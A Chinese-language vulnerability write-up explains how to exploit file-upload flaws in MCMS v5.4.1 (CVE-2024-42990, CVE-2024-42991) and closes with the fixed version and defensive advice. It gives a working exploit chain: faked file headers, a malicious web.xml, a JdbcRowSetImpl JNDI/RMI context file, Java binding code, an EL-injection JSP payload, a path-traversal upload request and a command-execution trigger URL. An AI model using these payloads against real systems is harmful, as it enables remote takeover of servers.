代码审计 - MCMS v5.4.1 0day挖掘
字数 1372 2025-08-22 12:22:15
MCMS v5.4.1 漏洞分析与利用教学文档
一、系统概述
MingSoft MCMS 是中国铭飞公司开发的一个开源 J2EE 内容管理系统。本次分析针对 v5.4.1 版本,发现两个关键漏洞:
- 后台文件上传绕过漏洞 (CVE-2024-42990)
- 前台文件上传RCE漏洞 (CVE-2024-42991)
二、环境搭建
- 下载 MCMS v5.4.1 源码:https://github.com/ming-soft/MCMS/releases/tag/5.4.1
- 打包成 WAR 文件
- 使用 Tomcat 部署
三、后台文件上传绕过漏洞 (CVE-2024-42990)
漏洞位置
路由:/ms-mcms/ms/file/uploadTemplate.do
漏洞分析
-
文件类型检测机制:
- 代码位于
FileVerifyAop.class的uploadAop方法 - 使用
BasicUtil.getMimeType检测上传文件的 MIME 类型 - 如果是 ZIP 文件,会调用
checkZip方法进行额外检查
- 代码位于
-
绕过原理:
getMimeType方法会同时检查文件头和 Content-Type- 通过修改 ZIP 文件的文件头可以伪造文件类型
- 在 ZIP 文件中添加图片文件头可以绕过 ZIP 类型检测
-
二次检测绕过:
- 即使绕过 ZIP 检测,
ManageFileAction.class还会进行二次检测 - 需要在 JSP 文件中同样添加图片文件头
- 即使绕过 ZIP 检测,
利用步骤
- 准备一个包含 JSP 文件的 ZIP 压缩包
- 修改 ZIP 文件头为图片文件头(如 PNG)
- 修改 JSP 文件内容,添加图片文件头
- 通过后台文件上传接口上传该 ZIP 文件
- 访问上传的 JSP 文件实现 RCE
四、前台文件上传RCE漏洞 (CVE-2024-42991)
漏洞位置
路由:/static/plugins/ueditor/1.4.3.3/jsp/editor.do
利用方式一:通过XML修改JSP解析后缀
-
上传限制:
- 允许上传的文件类型包括 XML
- 配置文件路径:
ueditor/config.json
-
利用方法:
- 上传恶意的
web.xml文件 - 修改 Tomcat 解析 JSP 的后缀配置
- 添加新的解析后缀(如
.png) - 上传包含恶意代码的
.png文件实现 RCE
- 上传恶意的
利用方式二:通过JNDI注入实现RCE
-
基本原理:
- 利用 Tomcat 的
hostConfigBase目录特性 - 上传到
conf/Catalina/localhost的 XML 文件会被自动解析 - 通过 JNDI 注入实现远程代码执行
- 利用 Tomcat 的
-
利用步骤:
步骤1:准备恶意XML文件
<?xml version='1.0' encoding='utf-8'?>
<Context>
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="rmi://localhost:1099/remoteobj"
autoCommit="true"></Manager>
</Context>
步骤2:设置RMI服务
public class RMIServe {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
Person person = new Person();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("person", person);
}
}
步骤3:JNDI绑定
public class mcms {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
ResourceRef ref = tomcatWriteFile();
initialContext.rebind("rmi://localhost:1099/remoteobj", ref);
}
private static ResourceRef tomcatWriteFile() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
null, "", "", true,
"org.apache.catalina.users.MemoryUserDatabaseFactory",
null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
}
步骤4:准备恶意JSP文件
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="${pageContext.request.getClass().forName(param.n).getMethod(param.m).invoke(null).exec(param.code)}" />
</tomcat-users>
步骤5:上传利用
使用以下POST请求上传XML文件:
POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%38%27%7d&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8079
Content-Type: multipart/form-data; boundary=AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
--AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.xml"
<?xml version='1.0' encoding='utf-8'?><Context> <Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://localhost:1099/remoteobj" autoCommit="true"></Manager></Context>
--AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--
步骤6:触发RCE
访问生成的JSP文件并添加参数:
http://target/test.jsp?n=java.lang.Runtime&m=getRuntime&code=calc
五、漏洞修复
MCMS v5.4.2 已修复上述漏洞,建议用户升级到最新版本。
六、防御建议
- 严格限制文件上传类型
- 对上传文件进行多重验证(文件头、内容、扩展名等)
- 禁用不必要的JNDI功能
- 限制XML文件解析功能
- 使用最新版本的JDK和中间件